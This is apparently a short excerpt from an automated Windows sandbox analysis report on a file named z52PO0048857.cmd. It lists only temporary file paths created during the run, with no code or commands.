C:\Users\user\AppData\Local\Temp\tmpE9EE.tmp

C:\Users\user\AppData\Local\Temp\tmpE9FF.tmp

C:\Users\user\AppData\Local\Temp\tmpEA0F.tmp

C:\Users\user\AppData\Local\Temp\tmpEA20.tmp

C:\Users\user\AppData\Local\Temp\tmpEA30.tmp

C:\Users\user\AppData\Local\Temp\tmpEA41.tmp

C:\Users\user\AppData\Local\Temp\tmpEA52.tmp

C:\Users\user\AppData\Local\Temp\tmpEA62.tmp

C:\Users\user\AppData\Local\Temp\tmpEA92.tmp

C:\Users\user\AppData\Local\Temp\tmpEAA3.tmp

C:\Users\user\AppData\Local\Temp\tmpEAC3.tmp

C:\Users\user\AppData\Local\Temp\tmpEAD4.tmp

C:\Users\user\AppData\Local\Temp\tmpEB04.tmp

Windows Analysis Report
z52PO0048857.cmd